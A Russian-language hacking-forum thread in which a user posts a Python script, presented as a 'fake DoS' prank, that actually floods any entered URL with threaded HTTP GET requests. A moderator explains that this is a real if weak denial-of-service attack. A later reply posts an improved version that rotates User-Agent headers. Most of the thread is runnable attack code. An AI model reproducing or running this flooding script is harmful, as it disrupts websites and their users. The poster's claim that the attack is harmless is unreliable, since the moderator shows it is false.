• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Создание фейковой DoS программы на Python

Borjomy

Member
30.12.2020
16
0
BIT
0
Всем ахаё ,DoS приселдуюутся законом ,но если вы очень хотите похвастаться перед друзьями какой вы хацкер программист ,то эта программа вам поможет!


Код:
import time
import os
import threading
import requests

Это наши импорты (Без них никак!) |^|

Код:
# краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
def DosAttack(target):
    while True:
        try:
            rec = requests.get(target)
            print("Request sent to " + URLOFSITE)
        except requests.exceptions.ConnectionError:
            print("[+] " +"error")


Сразу кидаем запросы вверх кода что-бы не забыть... |^|

Код:
threads = 50
#time.sleep(0.4)<-для красоты типо загрузка системы

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1) # <- человек читает подставную загрузку
os.system('cls')

URLOFSITE = input("URL Of Site: ")


Подготовка , и сам инпут URL(а) |^|


Код:
time.sleep(0.7)
os.system('cls')

фэйковая подготовка |^|

Python:
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValieError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.__contains__("http"):
    exit('Site Error')

if not URLOFSITE.__contains__("."):
    exit("Site Error")



DoS атака и фэйковые надписи ошибки сайта ,так-же реальные ошибки для правдоподобности

Python:
for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")


# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!





Весь код на Python 3.8.3




Python:
import time
import os
import threading
import requests

# краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
def DosAttack(target):
    while True:
        try:
            rec = requests.get(target)
            print("Request sent to " + URLOFSITE)
        except requests.exceptions.ConnectionError:
            print("[+] " +"error")


threads = 50
#time.sleep(0.4)<-для красоты типо загрузка системы

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1) # <- человек читает подставную загрузку
os.system('cls')

URLOFSITE = input("URL Of Site: ")
time.sleep(0.7)
os.system('cls')
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValieError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.__contains__("http"):
    exit('Site Error')

if not URLOFSITE.__contains__("."):
    exit("Site Error")

for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")


# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
 

Borjomy

Member
30.12.2020
16
0
BIT
0
Если кто не понял что значит фейковая программа,сайт падает если сайт будет открыт с роутера ноута с которого идёт процесс ,по настоящему сайт не падает.
 

f22

Codeby Academy
Gold Team
05.05.2019
1 835
225
BIT
974
Я уже говорил ,что-бы похваться без каких либо проблем с законом
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?

# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
А с чего вы это взяли?

краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
Какое устройство? Какого ноута?
 

Borjomy

Member
30.12.2020
16
0
BIT
0
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?


А с чего вы это взяли?


Какое устройство? Какого ноута?
Окей, при тесте программы сайты падали ,но когда я открыл сайт на телефоне (не через Wi-Fi с которого шёл процесс ) через передачу-данных (Интернет) ,то сайт ровно стоял, хотя как через Wi-Fi сайт падал как .То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
 

f22

Codeby Academy
Gold Team
05.05.2019
1 835
225
BIT
974
То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
Не сайт падает, а пакеты к вам обратно не доходят.
Вы отправляете с атакующего устройства условно 100 пакетов через python скрипт и 1 пакет из браузера.
Сайт/роутер не в состоянии обработать такое количество соединений одновременно, поэтому, вы и не можете увидеть страницу.

Но повторяю, это и есть обыкновенная DoS атака. Малоэффективная, не проработанная, но атака и говорить, что это "процесс ложный" абсолютно ошибочно.
 

Borjomy

Member
30.12.2020
16
0
BIT
0
Не сайт падает, а пакеты к вам обратно не доходят.
Вы отправляете с атакующего устройства условно 100 пакетов через python скрипт и 1 пакет из браузера.
Сайт/роутер не в состоянии обработать такое количество соединений одновременно, поэтому, вы и не можете увидеть страницу.

Но повторяю, это и есть обыкновенная DoS атака. Малоэффективная, не проработанная, но атака и говорить, что это "процесс ложный" абсолютно ошибочно.
Понял ,принял ,исправлю (Постараюсь)
 

☠xrahitel☠

Grey Team
09.12.2016
240
305
BIT
43
Я уже говорил ,что-бы похваться без каких либо проблем с законом

Да мы то поняли как раз как это можно использовать, например развести свой зоопарк вот так или трафу подогнать тыц а школьников удивлять ну такое себе
96947442.gif
вот как пример можно это взять принципе.


Можно прямо вики править готовые скрипты и.т.д

 

ononim

New member
20.03.2024
1
0
BIT
3
вот обновлённый код :
Код:
import time
import os
import threading
import requests
import random

def DosAttack(target):
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.254",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.254"
    ]
    while True:
        try:
            headers = {'User-Agent': random.choice(user_agents)}
            rec = requests.get(target, headers=headers)
            print("Request sent to " + target)
        except requests.exceptions.ConnectionError:
            print("[+] error")

threads = 50

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1)
os.system('cls')

URLOFSITE = input("URL Of Site: ")
time.sleep(0.7)
os.system('cls')
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValueError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.startswith("http"):
    exit('Site Error')

if '.' not in URLOFSITE:
    exit("Site Error")

for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!